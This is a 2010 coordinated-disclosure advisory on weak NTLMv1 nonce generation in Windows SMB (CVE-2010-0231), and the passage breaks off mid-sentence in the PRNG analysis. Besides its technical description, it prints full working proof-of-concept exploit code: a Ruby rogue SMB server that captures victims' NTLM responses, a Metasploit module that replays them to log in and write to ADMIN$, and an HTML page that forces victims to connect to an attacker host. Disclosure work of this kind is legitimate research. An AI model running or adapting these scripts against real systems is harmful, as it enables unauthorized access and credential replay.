Windows SMB NTLM Authentication Weak Nonce Vulnerability Security AdvisoryHernan Ochoa (hernan@gmail.com) - Agustin Azubel (agustin.azubel@gmail.com)Title: Windows SMB NTLM Authentication Weak Nonce VulnerabilityAdvisory ID: OCHOA-2010-0209Advisory URL: http://www.hexale.org/advisories/OCHOA-2010-0209.txtDate published: 2010-02-09Vendors contacted: MicrosoftRelease mode: Coordinated releaseLast Updated: 2010-02-09Index-----1.Vulnerablity information2.Vulnerablity description3.Vulnerable systems4.Vendor Information, solutions and workarounds5.Credits6.Technical description6.1.NTLMv1 authentication protocol6.2.The Flaws6.3.Detecting if the SMB service generates duplicate 8-byte challenges6.4.Exploiting duplicate challenges6.4.1.Proof-of-Concept Exploit 6.5.Predicting challenges6.5.1.SMB service: challenge generation process6.5.2.Proof-of-Concept Exploit7.References8.Disclaimer1.Vulnerability information---------------------------Impact: An unauthenticated remote attacker without any kind of credentials can access the SMB service under the credentials of an authorized user. Depending on the privileges of the authorized user, and the configuration of the remote system, an attacker can gain read/write access to the remote file system and execute arbitrary code by using DCE/RPC over SMB.Remotely Exploitable: YesBugtraq Id: <unknown> CVE: CVE-2010-02312.Vulnerability description---------------------------Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.3.Vulnerable Systems--------------------This vulnerability was verified by the authors on the following platforms:Windows NT4 SP1Windows Server 2003 SP2Windows XP SP3Windows Vista x32Windows 7 x32 RCHowever, all versions of Windows implementing NTLMv1 are suspected to be affected.Microsoft, in their "Microsoft Security Bulletin Advance Notification for February 2010" [3], list the following platforms as affected:Windows 2000 SP4Windows XP SP2 and SP3Windows XP Professional x64 Edition SP2Windows Server 2003 SP2Windows Server 2003 x64 Edition SP2Windows Server 2003 SP2 for Itanium-based systemsWindows VistaWindows Vista SP1Windows Vista SP2Windows Vista x64 EditionWindows Vista x64 Edition SP1Windows Vista x64 Edition SP2Windows Server 2008 x32Windows Server 2008 x32 SP2Windows Server 2008 x64 SP2Windows Server 2008 x64 SP2Windows Server 2008 for Itanium-based systemsWindows Server 2008 for Itanium-based systems SP2Windows 7 x32See [3] for more details.Given that Windows NT 4 was relased in ~1996 this vulnerability has been present for ~14 years. If it is confirmed this vulnerablity is also present in older systems such as Windows NT 3.1, released in ~1993, Windows NTLMv1 authentication mechanism could have been vulnerable for ~17+ years.4.Vendor Information, Solutions and Workarounds-----------------------------------------------SMB NTLM Authentication Lack of Entropy Vulnerability - CVE-2010-0231http://www.microsoft.com/technet/security/bulletin/ms10-012.mspx5.Credits---------This vulnerability was discovered by Hernan Ochoa (Independent Information Security Consultant and Researcher) and it was researched by Hernan Ochoa and Agustin Azubel (Independent Information Security Consultant and Researcher).6.Technical description ------------------------Microsoft Server Message Block (SMB) Protocol is a Microsoft network file sharing protocol also used for sharing printers, communications abstractions such as named pipes and mailslots, and performing Remote Procedure Calls (DCE/RPC over SMB) [1].NTLM (NT Lan Manager) is a challenge-response authentication protocol used by the SMB protocol [2].Windows systems commonly use the SMB protocol with NTLM authentication for network file/printer sharing and remote administration via DCE/RPC.Flaws in Microsoft's implementation of the NTLM challenge-response authentication protocol causing the server to generate duplicate challenges/nonces and an information leak allow an unauthenticated remote attacker without any kind of credentials to access the SMB service of the target system under the credentials of an authorized user. Depending on the privileges of the user, the attacker will be able to obtain and modify files on the target system and execute arbitrary code.6.1.NTLMv1 authentication protocol----------------------------------The NTLMv1 authentication protocol is a challenge-response protocol that consists of the following messages: 1. The client sends to the server a message containing a set of flags offeatures supported/requested to perform authentication.2. The server responds with a message containing a set of flags supported/required by the server enabling both ends to agree on the authentication parameters and, more importantly, an 8-byte random challenge/nonce.3. The client uses the random challenge/nonce and the user's credentials to calculate the response (24 bytes) and sends it to the server.4. The server determines if the response is correct and allows or disallows access to the client.The randomness of the 8-byte challenge/nonce returned by the server tries to ensure that every challenge-response sequence is unique helping protect against replay attacks.6.2.The Flaws----------------Several flaws were found leading to attacks such as generation of duplicate challenges/nonces and challenge/nonce prediction.The randomness of the 8-byte challenges generated by the SMB server in response to an specific packet requesting authentication is bad enabling attackers to perform replay attacks. The SMB server easily generates duplicate 8-byte challenges.The challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.6.3.Detecting if the SMB service generates duplicate 8-byte challenges-----------------------------------------------------------------------Detecting the generation of duplicate challenges can be verified remotely by repeatedly sending 'SMB Negotiate Protocol Request' packets to a Windows system with the 'Flags2' field set to 0xc001 (disabling security signatures, extended attributes and extended security negotiation) recording the 8-byte challenges obtained from the server and waiting for duplicates.The following Ruby script can be used to test for the presence of this vulnerability: ====test2_ochoa_2010-0209.rb====:# test2_ochoa-2010-0209.rb# Windows SMB NTLM Authentication Weak Nonce Vulnerability detection script# This script will run in an infinite loop looking for duplicate challenges displaying a message# every time one is received.# (c) 2010 Hernan Ochoa (hernan@gmail.com)require 'socket'chs = []attempts = 0host = "" port = 445challenges_filename = "challenges.log"duplicates_filename = "duplicates.log"print "This script tests for the Windows SMB NTLM Authentication Weak Nonce Vulnerability/n"print "(c) 2010 Hernan Ochoa (hernan@gmail.com)/n"if ARGV.size < 1 thenprint "syntax: test2_ochoa-2010-0209.rb <host>/n"exitendhost = ARGV[0]print "Testing host " + host + "/n"neg_proto_packet_1 = "00000054" +"ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200"if File.file?( challenges_filename ) thenFile.delete( challenges_filename )endif File.file?( duplicates_filename ) thenFile.delete( duplicates_filename )endloop doso = TCPSocket.open(host, port)attempts = attempts + 1n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }j = n.pack("C*")so.write(j)resp = so.recvfrom(2000)j = resp.to_s[0x49..0x49+7]vuelta = jtest = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp }challenge = test.to_sso.closeFile.open( challenges_filename , "a" ) { |f| f.write(challenge+"/n") }if chs.include? challenge puts "duplicate found!/a/a/a/a/a/a/a/a/a/a/a/a/n"ndx = chs.index(challenge)print "request #" + attempts.to_s + ", challenge=" + challenge + "/n"print "request #" + (ndx+1).to_s + ", challenge=" + chs[ndx] + "/n"File.open( duplicates_filename , "a") { |f| f.write(challenge+"/n") }endchs.push(challenge)end6.4.Exploiting duplicate challenges--------------------------------------There are different ways to exploit duplicate challenges, including:(i) An attacker A can eavesdrop network traffic looking for NTLM authentication messages exchanged between client C and server S ('SMB Negotiate Protocol Requests' packets and 'SMB Negotiate Protocol Responses' packets), storing challenges and their corresponding responses. The attacker A can then perform several authentication requests to server S until S returns a previously observed challenge (a duplicate).At that point attacker A will send the corresponding and previously recorded response.We did not find so far any current Windows version (XP,Vista,7,etc) that by default or using some specific configuration, when acting as an SMB client, would generate the necessary 'SMB Negotiate Protocol Request' packets with the correct values in the 'Flags2' field to trigger the vulnerability when accessing a remote SMB service. Hence we were unable to collect duplicate challenges only by network sniffing.Tests were performed with the third-party SMB client 'smbclient' from the SAMBA project with the same negative results (tests were not exhaustive).Since this problem was also found on Windows versions as old as Windows NT4, this scenario might still be possible.(ii) An attacker A connects to system S and sends mutiple 'SMB Negotiate Protocol Request' packets with the 'Flags2' field set to 0xc001 to obtain several challenges, and stores them. The attacker A then forces a user U on system S to connect to his own specially crafted SMB server, for example by sending an email with multiple <IMG> tags with UNC links (e.g.: <IMG SRC=//evilserver/share/a.jpg>) or a link to web server with similar <IMG> tags. Upon receiving the connections from system S,the attacker's SMB server will respond with the previously obtained challenges and will store the corresponding responses returned by the remote system. Attacker A has now a set of responses which are the challenges encrypted with user's U credentials.Finally, the attacker A will perform several authentication requests to system S until it returns one of the challenges obtained at the beginning of this attack, and at that point he will replay the corresponding and previously obtained response to gain access to system S as user U.If user U has, for example, local administrator privileges on system S (not uncommon for Windows XP users, for example), remote code execution is possible via DCE/RPC over SMB. Even if user U has no administrator privileges attacker A can still access, for example, file shares accessible by user U and read/modify information.Tests performed showed that challenges and responses obtained from a system S can be reused multiple times against that same system and other remote systems. We observed that challenges obtained from a system S were also returned by other remote systems. This means that attacker A only needs, in the best case scenario, to force user U to connect to his own specially crafted SMB server once. Of course, user U must have access (his credentials must be valid) to the other systems attacked. This attack needs the victim to have port 445/tcp open and the attacker to be able to access that port. The victim also needs to be able to access port 445/tcp on the attacker's server (only once, to record responses. Subsequent attacks do not need the victim to access the attacker's system). This simple attack using a 'brute-force' approach to find duplicate challenges proved to be acceptably effective.6.4.1.Proof-of-Concept Exploit --------------------------------The exploit implementation is twofolded:(i) setup_smb_weak_nonce.rb This standalone Ruby script performs several connections to the victim sending 'SMB Negotiate Protocol Request' packets to obtain 8000 challenges (the number of challenges to be obtained can be changed).After collecting 8000 challenges, it will listen on port 445/tcp for incoming SMB connections originated by the victim. For every connection received, it will send to the victim one of the previously obtained challenges and will store the corresponding response obtained.As a simple example of a method to force the victim to connect to the attacker, the file 'conn.html' is provided. This is a very simple HTML file with javascript code that will generate 1000 <IMG> tags with an UNC link to different image files. The challenges and responses obtained are saved to the file 'fullcreds.log'.(ii) msf_smb_weak_nonce.rbThis metasploit module will perform connections to the victim until the server responds with one of the duplicate challenges stored in 'fullcreds.log'. The module will then send the corresponding response to gain access to the victim's SMB service.Finally, after successful exploitation, the module will create the file 'owned.txt' in the ADMIN$ share (c:/windows) with the following text: "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!".This module can be easily modified to execute code on the remote system (given the target user has enough privileges).To exploit the vulnerability repeat the following steps:1. copy msf_smb_weak_nonce.rb to <METASPLOIT_DIR>/modules/exploits/windows/smb2. Run setup_smb_weak_nonce.rb specifying the IP of the victim (e.g.: ruby setup_smb_weak_nonce.rb 192.168.10.1). After collecting the nonces the script will listen on port 445 for incoming SMB connections.3. Run Internet Explorer and load 'conn.html'. This will produce 1000+ connections to the SMB server implemented by setup_smb_weak_noce.rb. (Note 1: setup_smb_weak_nonce.rb needs to be run as root to be able to listen on port 445/tcp) (Note 2: If you load 'conn.html' with Internet Explorer and 'conn.html' is stored on a local drive (e.g.:c:/conn.html) it is possible Internet Explorer will prompt you to allow execution of the javascript code within 'conn.html'. This is not a limitation of the attack, it is just an extra protection implemented by Internet Explorer, the 'conn.html' does not even need to contain javascript code, it uses it just because it is convenient, you could just as easily 'hard-code' all <IMG> tags. Also, loading the html file from the a local disk is not a real attack scenario, all of this is for demonstration purposes).4.After 1000 connections are received by setup_smb_weak_nonce.rb the script will terminate. The file 'fullcreds.log' will be generated. Copy 'fullcreds.log' to /tmp.5. run metasploit (msfconsole) and execute the following commands:-use windows/smb/msf_smb_weak_nonce-set RHOST <victim_ip>for example: set RHOST 192.168.10.1-set payload windows/shell/bind_tcp-exploitThe metasploit module looks for 'fullcreds.log' in '/tmp' by default. You can specify the location of the 'fullcreds.log' file using the following command:-set CREDSFILE <path+filename>for example:-set CREDSFILE /mydir/fullcreds.log6.the metasploit module will start performing connections to the victim until receiving a duplicate challenge for which there's a response in the 'fullcreds.log' file. After successfully authenticating to the victim, the script will create the file 'owned.txt' in c:/windows via the ADMIN$ share (given the user exploited has enough privileges).Please remember that this proof-of-concept exploit requires the targer user to have enough privileges (e.g.: local administrator) to access the ADMIN$ share remotely. However, the target user does need to have this privilege level in order for the attacker to exploit the vulnerability. For example: if the target user only has regular user privileges, an attacker can access the file shares that user has access to. Also, exploiting the vulnerabiliy and the level of access obtained are two different things.This is just a proof-of-concept exploit, it can be improved and optimized.Next are all the previously mentioned files part of the proof-of-concept exploit:=====setup_smb_weak_nonce.rb======:# Windows SMB NTLM Authentication Weak Nonce Vulnerability# (c) 2010 Hernan Ochoa (hernan@gmail.com)# This script can be used to connect to the victim to obtain weak nonces# and then waiting for connections from the victim to have it encrypt those weak nonces for us# The victim can be 'forced' to connect to this server using several methods, as an example# you can take a look at the conn.html file which creates an HTML document with several <IMG SRC> tags# that connect to this server.# The weak nonces, encrypted nonces, username and domainname are stored in the file fullcreds.log# to then be used with the msf_smb_weak_nonce.rb metasploit module for exploitationrequire 'socket'require 'time'def collectnonces(host, port, num)count = 1nonces = []nonces_filename = "nonces.log"f = 0 if File.file?( nonces_filename ) then File.delete( nonces_filename ) endwhile 1 == 1 :neg_proto_packet_1 = "00000054" +"ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200"#so = nilso = TCPSocket.open(host, port)n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }j = n.pack("C*")so.write(j)resp, x = so.recvfrom(2000)j = resp[0x49..0x49+7]test = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp }#puts "/r" + test.to_s + " "#so.close#sleep(0.1)f = 1nonces.each do |hay|if hay == test.to_sprint "duplicate! (#" + count.to_s + ", #" + f.to_s + ")/a/a/a/a/a/a/a/a/a/a/a/a/n"endf = f + 1endnonces << test.to_schallenge = (test.to_s + "/n").to_sFile.open(nonces_filename, 'a') { |f| f.write(challenge) }count = count + 1print "/r# of nonces obtained: " + count.to_s + " "# if count % 100 == 0# sleep(1)# endif count == (num+1)print "/n"returnendendend# from metasploit...# framework-3.2/lib/rex/proto/smb/utils.rbdef time_unix_to_smb(unix_time)t64 = (unix_time + 11644473600) * 10000000thi = (t64 & 0xffffffff00000000) >> 32tlo = (t64 & 0x00000000ffffffff)return [thi, tlo]enddef waitforcreds(thenonces, num)nonces_ndx = 0conn_num = 0maxn = num neg_proto_response_1 = "00000051" + # NetBIOS Session Service header"ff534d4272000000008801c00000000000000000000000000000fffe00000000" + # SMB Header"1105000302000100041100000000010000000000fde30000007632d28015ca010000080c00e486962656d5869400000000" # Negotiate Protocol Responsesession_setupandx_access_denied = "00000023" + # NetBIOS Session Service Header"ff534d4273220000c08801c00000000000000000000000000000fffe00000400000000" + # SMB Header"000000" # Session and SetupX Response payloadcreds_filename = "fullcreds.log" if File.file?( creds_filename ) then File.delete( creds_filename ) endserver = TCPServer.open(445)loop {if conn_num > maxnThread.exitreturnendThread.start(server.accept) do |client|conn_num = conn_num + 1if conn_num > maxnputs "done!"client.close()server.shutdownThread.exitreturnendputs conn_num# (1) receive Negotiate Protocol Requestq, x = client.recvfrom(2000)puts "neg proto request received"pid1 = q[0x1e]pid2 = q[0x1f]multi1 = q[0x1e+4]multi2 = q[0x1f+4]# (2) send Negotiate Protocol Response# set challenge in response packet puts thenonces[nonces_ndx].to_sneg_proto_response_1[146..146+15] = thenonces[nonces_ndx].chomp# TODO: SET CORRECT TIMEtimehi, timelo = time_unix_to_smb(Time.now.to_i)# send packet n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) }# set process id#puts pid1#puts pid2#puts multi1#puts multi2n[0x1e] = pid1n[0x1f] = pid2n[0x1e+4] = multi1n[0x1f+4] = multi2s = ("%.8x" % timelo)ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chrdlo = (ss.scan(/../)).map { |s| s.to_i(16) }s = ("%.8x" % timehi)ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chrdhi = (ss.scan(/../)).map { |s| s.to_i(16) }n[0x3c..0x3c+3] = dlon[0x40..0x40+3] = dhi# timezone = 0#n[0x45] = 0#n[0x46] = 0j = n.pack("C*")client.write(j)puts "neg proto response sent"# (3) Receive Session Setup andX Requestq, x = client.recvfrom(4000)puts "session setup andx request received!"pid1 = q[0x1e]pid2 = q[0x1f]multi1 = q[0x1e+4]multi2 = q[0x1f+4]# we assume the first request is anonymous# and we send back an Error: STATUS_ACCESS_DENIEDn = session_setupandx_access_denied.scan(/../).map { |s| s.to_i(16) }n[0x1e] = pid1n[0x1f] = pid2n[0x1e+4] = multi1n[0x1f+4] = multi2#n[0x44/2] = pid1multi1#n[0x45/2] = multi2#n[0x3c/2] = pid1#n[0x3d/2] = pid2#puts nbeginj = n.pack("C*")rescueputs $! endclient.write(j)puts "session setupandx access denied sent!"# (4) Receive Session Setup andX Request with credsq, x = client.recvfrom(4000)puts "session setup andx request with creds received!"# Get the ANSI Password ansi_pwd = q[0x41..0x41+23]ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_sputs ansi_pwd_s# Get the Unicode Passwordunicode_pwd = q[0x59..0x59+23]unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_sputs unicode_pwd_s# Get the username (0x71)i = 0v = 0username = "" while v == 0if q[0x71+i] == 0 and q[0x71+i+1] == 0v = 1endif q[0x71+i] != 0username = username + q[0x71+i].chrendi = i + 1endi = 0x71 + i + 1domain = ""v = 0k = 0while v == 0:if q[i+k] == 0 and q[i+k+1] == 0v = 1endif q[i+k] != 0domain = domain + q[i+k].chrendk = k + 1endputs usernameputs domainFile.open(creds_filename, "a") { |f| f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + "," + username + "," + domain + "/n") }client.closenonces_ndx = nonces_ndx + 1end }enddef savecreds(num)nonces = []nonces_filename = "nonces.log"# load nonces to send to victim data = ""File.open(nonces_filename, 'r') { |f| data = f.read() }nonces = data.split(//n/)# wait for victim to encrypt the nonceswaitforcreds(nonces, num)end# MAINprint "Windows SMB NTLM Authentication weak nonce Vulnerability"print "/n(c) 2010 Hernan Ochoa (hernan@gmail.com)/n"if ARGV.size < 1 thenprint "syntax: setup_smb_weak_nonce.rb <target host> <optional:number_of_nonces_to_collect, by default:8000>/n"exitendhost = ARGV[0]port = 445nonces_count = 8000if ARGV.size >= 2 thennonces_count = ARGV[1].to_iend# gather nonces by connecting to victim# nonces are saved to 'nonces.log'# 100 = number of nonces to collectputs "collecting nonces..."collectnonces(host, port, nonces_count)puts "done collecting nonces.."# now, we expect connections from the victim# so we can use those connections to have the victim# encrypt the nonces with the hases of his/her password#the connections can be forced by#using the classic technique of sending an email#with link to a web page, a web page that may contain html tags like#<img src="//<attacker>/pepe"># for each <img> tag the victim will initiate 4 connections (it retries automatically..)# so that's good for an attacker, lowers the number of# connections it needs to force from the victimputs "waiting for connections from victim"savecreds(1000)====msf_smb_weak_nonce.rb====:# Windows SMB NTLM Authentication Weak Nonce Vulnerability# (c) 2010 Hernan Ochoa (hernan@gmail.com)# This metasploit module takes the file 'fullcreds.log' and performs connections# to a SMB server on port 445 until it returns a nonce found in 'fullcreds.log'# It then sends the corresponding response and gains access.####=begin=endrequire 'msf/core'class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMBdef initialize(info = {})super(update_info(info,'Name' => 'Windows SMB NTLM Authentication weak nonce exploit','Description' => %q{This module exploits the Windows SMB NTLM Authentication weak nonce vulnerability by Hernan Ochoa (hernan@gmail.com)},'Author' => [ 'Hernan Ochoa (hernan@gmail.com)'],'License' => '','Version' => '1','Privileged' => true,'DefaultOptions' =>{'EXITFUNC' => 'thread'},'Payload' =>{'Space' => 8192,'DisableNops' => true,'StackAdjustment' => -3500,},'References' =>[[ 'URL', 'http://www.hexale.org' ],[ 'URL', 'http://hexale.blogspot.com']],'Platform' => 'win','Targets' => [[ 'Automatic', { } ],],'DisclosureDate' => 'Feb 09 2010','DefaultTarget' => 0 ))register_options([#OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]),OptString.new('CREDSFILE', [true, "The file with the weak nonces and encrypted nonces created by setup_smb_weak_nonce.rb", "/tmp/fullcreds.log"])], self.class )enddef exploitprint "Windows SMB NTLM Authentication weak nonce Vulnerability exploit (c) 2010 Hernan Ochoa (hernan@gmail.com)/n"found = 0# load nonces to wait from victimnonces = []data = ""creds_filename = datastore["credsfile"]File.open(creds_filename, 'r') { |f| data = f.read() }lines = data.split(//n/)creds = lines.map { |i| i.split(/,/) }print "target user: " + creds[0][3] + "/n"target_domain = creds[0][4]print "target domain: " + target_domain + "/n"target_host = datastore['RHOST']attempts = 0rsock = nilrport = nilprint "connecting to " + target_host + " and waiting for duplicate challenges.../n"while found == 0attempts = attempts + 1print "/rattempt/connection # " + attempts.to_s + " "#if attempts % 100#sleep(1)#end [445].each do |rport|begin#rport = 445#begin rsock = Rex::Socket::Tcp.create('PeerHost' => target_host,'PeerPort' => rport,'Timeout' => 3,'Context' => {'Msf' => framework,'MsfExploit' => self, } ) break if rsockrescue ::Interruptraise $!rescue ::Exception => eprint_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e.to_s}") end endrclient = Rex::Proto::SMB::SimpleClient.new(rsock, rport == 445 ? true : false)begin rclient.login_split_start_ntlm1(target_domain)rescue ::Interruptraise $!rescue ::Exception => eprint_error("Could not negotiate NTLMv1 with #{target_host}:#{rport} #{e.class} #{e.to_s}")raise eendif (not rclient.client.challenge_key)print_error("No challenge key received from #{target_host}:#{rport}")rsock.closeend#puts "challenged received from target after we connected to it!"#puts rclient.client.challenge_key.classj = rclient.client.challenge_keyenckey = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp }#puts enckey.to_sndx = 0creds.each do |item|if found == 0if item[0].to_s == enckey.to_sprint "/nsaved nonce: " + item[0] + "/n"print "nonce obtained from server: " + enckey.to_s + "/n"puts "duplicate received!/a/a/a/a/a/a/a/a/a/a/a/a"found = ndxendend ndx = ndx + 1 end#found = 1if found == 0#rsock.closeendendputs "nonce index #{found}"#apwd = creds[found][1].scan(/../).map { |s| s.to_i(16) }#upwd = creds[found][2].scan(/../).map { |s| s.to_i(16) }apwd = creds[found][1]upwd = creds[found][2]username = creds[found][3]domain = creds[found][4]puts apwd.to_sputs upwd.to_sputs usernameputs domainbegin res = rclient.login_split_next_ntlm1( username, domain,[ apwd.to_s].pack("H*"),[ upwd.to_s].pack("H*") #[ (lm_hash ? lm_hash : "00" * 24) ].pack("H*"), #[ (nt_hash ? nt_hash : "00" * 24) ].pack("H*") ) rescue XCEPT::LoginErrorputs "error" end if (res) print_status("AUTHENTICATED as #{username}//#{domain}...") else print_status("Failed to authenticate as #{username}//#{domain}...") endputs "connecting to ADMIN$..."rclient.connect("ADMIN$")fd = rclient.open("//owned.txt", 'rwct')fd << "Windows SMB NTLM Authentication weak nonce vulnerability successfully exploited!/r/n"fd.closeputs "file created"rsock.closereturnendend====conn.html====:<HTML><HEAD><TITLE>Windows SMB NTLM Authentication weak nonce Vulnerability by Hernan Ochoa</TITLE><!-- Please modify the evilServerIP variable to be the IP address/hostname of the server where the script setup_smb_weak_nonce.rb is running// --><SCRIPT LANGUAGE="JavaScript"><!--beginHTML = "<IMG SRC=////"evilServerIP = "192.168.1.130"endHTML = ">/r/n"// --></SCRIPT></HEAD><BODY><SCRIPT LANGUAGE="JavaScript"><!--for(i=0; i<1000; i++) {imageName = i + ".jpg"document.write(beginHTML + evilServerIP + "//share//" + imageName + endHTML);}// --></SCRIPT></BODY></HTML>6.5.Predicting challengesThe challenge/nonce prediction attack is feasible due to several factors including that the protocol leaks information that can be used by an attacker to calculate the internal state of the PRNG used to generate challenges.In order to explain the attack implemented next we begin by explaining the method used by the Windows SMB service to generate challenges.6.5.1.SMB service: challenge generation process(Note: during this explanation we are going to use the code for the Windows XP version of all modules mentioned. The code is the same in all platforms with some minor differences for some platforms but these differences do not produce a different behaviour).The function that generates the challenges returned in 'SMB Negotiate Protocol Response' packets is srv.sys!GetEncryptionKey(): It takes the current time, and adds to the low part of the current time the value of theglobal variable _EncryptionKeyCount.00040735 lea eax, [ebp+CurrentTime]00040738 push eax 00040739 call ds:__imp__KeQuerySystemTime@4 0004073F mov eax, _EncryptionKeyCount00040744 add dword ptr [ebp+CurrentTime], eaxIncrements _EncryptionKeyCount by 0x100 and makes some 'calculations' with the (current time.lowpart + _EncryptionKeyCount) resulting in a DWORD value with thefollowing 'pattern': where CT = (current time.lowpart + _EncryptionKeyCount)seed = CT[1], CT[2]-1, CT[2], CT[1]+1;00040747 movzx ecx, byte ptr [ebp+CurrentTime+1]0004074B movzx eax, byte ptr [ebp+CurrentTime+2]0004074F add _EncryptionKeyCount, 100h00040759 mov edx, ecx0004075B shl edx, 80004075E lea esi, [eax-1]00040761 or edx, esi00040763 mov esi, ds:__imp__RtlRandom@4 00040769 shl edx, 80004076C or edx, eax0004076E shl edx, 800040771 inc ecx00040772 lea eax, [ebp+Seed]00040775 or edx, ecxThen it calls the ntoskrnl.exe!RtlRandom(&seed) function three times, usingas a 'seed' the value with the pattern shown above. Each call to ntosrnkl.exe!RtlRandom(&seed)returns in 'seed' a different value (meaning each call does not use the same value as a 'seed').00040777 push eax 00040778 mov [ebp+Seed], edx0004077B call esi ; RtlRandom(x) 0004077D mov [ebp+var_18], eax00040780 lea eax, [ebp+Seed]00040783 push eax 00040784 call esi ; RtlRandom(x) 00040786 mov ebx, eax00040788 lea eax, [ebp+Seed]0004078B push eax ; Seed0004078C call esi ; RtlRandom(x) The calls to ntoskrnl.exe!RtlRandom(&seed) generate 3 'random' numbers.Based on the value of random_number3, random_number1 and random_number2 aremodified:0004078E test al, 100040790 mov ecx, 80000000h00040795 jz short loc_4079A00040797 or [ebp+var_18], ecx0004079A0004079A loc_4079A: 0004079A test al, 20004079C jz short loc_407A00004079E or ebx, ecx000407A0000407A0 loc_407A0: Finally, the code returns the challenge in the form bytes(random_number1, random_number2)000407A0 mov eax, [ebp+var_18]000407A3 mov ecx, [ebp+var_4]000407A6 mov [edi+4], ebx000407A9 mov [edi], eax000407AB pop edi000407AC pop esi000407AD pop ebx000407AE call @__security_check_cookie@4 000407B3 leave000407B4 retn 4Next is pseudo-code for the function srv.sys!GetEncryptionKey():// Global VariableDWORD _EncryptionKeyCount = 0;srv.sys!GetEncryptionKey(byte OUT *pChallenge){LARGE_INTEGER currentTime;DWORD seed;DWORD random_number1, random_number2, random_number3;KeQuerySystemTime(&CurrentTime);CurrentTime.LowPart += _EncryptionKeyCount;_EncryptionKeyCount += 0x100;CT = CurrentTime.LowPart;seed = CT[1], CT[2]-1, CT[2], CT[1]+1;random_number1 = ntoskrnl.exe!RtlRandom(&seed);random_number2 = ntoskrnl.exe!RtlRnadom(&seed);random_number3 = ntoskrnl.exe!RtlRandom(&seed);if ( (random_number3 & 1) == 1) {random_number1 |= 0x80000000} if( (random_number3 & 2) == 2 ) {random_number2 |= 0x80000000}*pChallenge = bytes(random_number1, random_number2);}The code for ntoskrnl.exe!RtlRandom(&seed) is the following:It receives the seed and performs the following calculations:X0 = *seed;X1 = (a*X0 + b ) mod mwhere:a = 0x7FFFFFEDb = 0x7FFFFFC3m = 0x7FFFFFFF004B5B75 mov edi, edi004B5B77 push ebp004B5B78 mov ebp, esp004B5B7A push ebx004B5B7B push esi004B5B7C mov esi, [ebp+Seed]004B5B7F mov eax, [esi]004B5B81 imul eax, 7FFFFFEDh004B5B87 push edi004B5B88 mov ecx, 7FFFFFC3h004B5B8D add eax, ecx004B5B8F mov edi, 7FFFFFFFh004B5B94 xor edx, edx004B5B96 mov ebx, edi004B5B98 div ebxWith the X1 value performs similar calculations:X2 = (a*X1 + b) mod m004B5B9A mov ebx, edx004B5B9C mov eax, edx004B5B9E imul eax, 7FFFFFEDh004B5BA4 add eax, ecx004B5BA6 xor edx, edx004B5BA8 div ediIt sets the value of seed to X2004B5BAA pop edi004B5BAB mov [esi], edxit calculates (X2 & 0x7F) to generate an index for the _RtlpRandomConstantVector004B5BAD and edx, 7Fh004B5BB0 lea ecx, _RtlpRandomConstantVector[edx*4]and finally fetches the value found at the previously calculated index, and alsostores the value of X1 in that position.004B5BB7 mov eax, [ecx]004B5BB9 pop esi004B5BBA mov [ecx], ebxNext is pseudo-code for the function ntoskrnl.exe!RtlRandom:// Global variableDWORD ntoskrnl.exe!RtlpRandomConstantVector [128] = {...} DWORD ntoskrnl.exe!RtlRandom(DWORD *pseed){ DWORD a = 0x7FFFFFED;DWORD b = 0x7FFFFFC3;DWORD m = 0x7FFFFFFF;DWORD X0, X1, X2;X0 = *pseed;X1 = ( a*X0 + b ) mod mX2 = ( a*X1 + b ) mod m*pseed = X2;ndx = X2 & 0x7F;n = RtlpRandomConstantVector[ndx];RtlpRandomConstantVector[ndx] = X1;return n;}In Summary,The srv.sys!GetEncryptionKey() does the following:- Gets current time, takes the low part (4 bytes) and adds the value of _EncryptionKeyCount (4-bytes)- Increments _EncryptionKeyCount by 0x100- Takes the two 'middle' bytes of CT=(current time.lowpart + _EncryptionKeyCount) and createsa seed with the form CT[1], CT[2]-1, CT[2], CT[1]+1.- Calls ntoskrnl.exe!RtlRandom three times and obtains three random numbers (random1,random2,random3)- Depending on the value of random3, makes some modifications to random1 and random2- creates the challenge by creating an array of bytes in the form random1, random2The ntoskrnl.exe!RtlRandom function appears to be a Maclaren-Marsaglia PRNG algorithm using two LCGs (linear congruential generators) [4] with a vector of 128 bytes.We know the following facts:- _EncryptionKeyCount starts with a value of 0- _EncryptionKeyCount is only modified by srv.sys!GetEncryptionKey. The code that calls srv.sys!GetEncryptionKey() is not regularly triggered, but only when the SMB service receives a packet like the one we use with the 'flags2' field set to 0xc001- We have not observed 'modern' Windows systems (Windows XP SP3, Vista, 7, etc) generate these kind of packets- This allows us to expect that before start conducting an attack against any 'modern' Windows 